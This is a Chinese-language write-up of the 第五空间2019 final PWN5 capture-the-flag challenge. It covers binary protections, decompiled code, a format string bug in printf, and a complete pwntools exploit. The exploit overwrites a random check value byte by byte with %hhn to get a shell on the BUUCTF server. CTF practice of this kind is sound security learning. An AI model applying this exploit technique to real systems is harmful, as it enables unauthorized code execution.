第五空间2019 决赛 PWN5

前提

查看文件保护

[*] '/root/pwn/buuctf/第五空间2019_决赛_PWN5/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

静态分析

主函数如下

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

程序运行时在unk_804C044处写入随机数，在最后一次输入结束后，若与unk_804C044处的随机数相等，可获得shell

思路分析

1. 目前信息
   • 第一次输入处存在格式化字符串漏洞
   • PIE关闭
   • unk_804C044是在bss段，地址可确定
2. 问题
   • 需要绕过与随机数对比的判断
3. 解决思路
   • 通过printf的格式化字符串漏洞，使用%?$hhn的方式逐字节修改unk_804C044的值，在最后一次输入时传入对应的值，通过自己与自己的比较绕过判断获得shell

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/第五空间2019_决赛_PWN5/pwn'
io = remote('node4.buuoj.cn', 25502)
# io = process(pwnfile)
bss_804C044 = 0x804C044
payload = flat([bss_804C044, bss_804C044+1, bss_804C044+2,bss_804C044+3, "%10$hhn%11$hhn%12$hhn%13$hhn"])
# 逐字节修改bss_804C044，printf在打印格式化字符串之前一共打印了16个，修改后bss_804C044的值应为0x10101010
io.sendlineafter('name:', payload)
io.sendlineafter('passwd:', str(0x10101010))
io.interactive()